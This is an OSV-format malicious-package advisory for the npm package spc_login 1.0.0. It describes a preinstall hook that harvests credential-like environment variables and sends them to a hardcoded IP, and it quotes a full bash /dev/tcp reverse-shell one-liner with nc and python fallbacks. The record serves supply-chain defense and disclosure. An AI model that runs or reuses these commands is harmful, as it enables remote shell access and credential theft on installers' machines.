{"id":"MAL-2026-15622","summary":"Malicious code in spc_login (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1)\npackage.json declares a preinstall hook (\"node preinstall.js || true\") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php. On non-Windows hosts the same script also executes a reverse-shell one-liner (bash -i \u003e& /dev/tcp/216.126.236.46/4444 0\u003e&1, with nc -e and python3 socket fallbacks), giving the operator of that endpoint interactive shell access to the installing machine. The package has no legitimate functionality; the only effect of installing it is credential harvest and remote code execution against the installer.\n","modified":"2026-08-31T17:30:12.740332465Z","published":"2026-08-31T16:41:35Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-019155","import_time":"2026-08-31T17:16:12.550178257Z","modified_time":"2026-08-31T16:41:35Z","sha256":"e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/spc_login/v/1.0.0"}],"affected":[{"package":{"name":"spc_login","ecosystem":"npm","purl":"pkg:npm/spc_login"},"versions":["1.0.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/spc_login/MAL-2026-15622.json","cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"evidence_files":[{"tlsh":"cb2140f1a2ba21948f624ad07796847a35fee3023721d9d02a2c515a8f42b6015f34ef","path":"preinstall.js","sha256":"a91eb3cb8dd2dec3e595b16bf4353b5dfa84fc6cd052266c28c337268aaeb9e6"},{"path":"package.json","sha256":"e207c96909f9867a8c87dcc9f3ed4a7ef73135a58eefd11de5f36b86d5fa38d5","tlsh":"c8d02b284918e03318dcc3e11a634146b09ace0f4058bd0c63970014479e33345ff21d"}],"package_integrity":[{"filename":"spc_login-1.0.0.tgz","hashes":{"sha512_sri":"sha512-mOBIku7s3BGwgMnrX+rpclMr4OdE11bkjPg+ee+x6R4pgvee3UvVAxzXNsGQe4fmI5WAYBHZakOAnzAlS4e8vg==","sha1":"ede7ac46818284b3429c36db990b5f2ff44f33da"}}]}}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}